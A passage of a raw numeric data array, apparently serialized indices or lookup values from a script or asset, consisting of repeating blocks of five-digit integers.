46961,37943,37979,37995,38150,38170,38011,44600,38038,38061,37792,39434,44649,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,44665,37459,38432,38451,37229,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,37318,37318,37318,48276,37318,37318,37318,37318,37318,37318,73156,44700,44701,37318,74225,74229,44717,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,46650,37318,37318,65657,40192,38525,37318,37318,39335,40192,44756,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,44775,67647,37318,37318,37318,48276,37318,37318,37318,37318,37318,67919,57964,44810,44811,37318,37318,74488,44827,44876,37318,37318,41289,37087,37318,37318,37010,37318,37318,44898,37318,37318,65657,40192,38525,37318,37318,39335,40192,44921,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,44940,44949,37318,37318,37318,45580,37318,37318,37318,37318,37318,67919,57964,44969,44970,37318,37318,68795,44986,45022,37318,37318,41289,37087,37318,37318,37010,37318,37318,72142,37318,37318,65657,40192,38525,37318,37318,39335,40192,38201,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,45042,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45074,37318,37318,37318,37318,48276,59955,37318,37318,37318,59954,73317,57964,37318,45118,37318,37318,45127,45152,36991,37318,37318,41289,37087,37318,37318,37010,45201,37318,37318,37318,37318,65657,40192,38525,37318,37318,45220,40192,45247,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,37318,37318,37318,48276,37318,37318,37318,37318,37318,67919,57964,37318,37318,37318,46105,37318,45266,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,64567,41960,37318,37318,37318,37318,37318,44399,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,63696,45404,37318,37318,37318,37318,37318,44403,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,51497,37318,37318,37318,37318,47785,37318,37318,72642,72644,72644,72644,72644,61913,41542,41542,41542,41542,48876,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,47501,37318,37318,37318,37318,37318,60498,72644,72644,72644,42291,41542,41542,41542,59595,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,45425,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,64567,41960,37318,37318,37318,37318,37318,44399,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,63696,45404,37318,37318,37318,37318,37318,44403,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,51497,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,61913,41542,41542,41542,41542,48876,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,47501,37318,37318,37318,37318,37318,60498,72644,72644,72644,42291,41542,41542,41542,59595,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,64567,41960,37318,37318,37318,37318,37318,44399,68819,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,63696,45404,37318,37318,37318,37318,37318,44403,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,51497,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,61913,41542,41542,41542,41542,48876,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,47501,37318,37318,37318,37318,37318,60498,72644,72644,72644,42291,41542,41542,41542,59595,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,64567,41960,37318,37318,37318,37318,37318,44399,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,63696,45404,37318,37318,37318,37318,37318,45442,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,51497,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,61913,41542,41542,41542,41542,48876,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,47501,37318,37318,37318,37318,37318,60498,72644,72644,72644,42291,41542,41542,41542,59595,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,37087,37318,37318,50781,373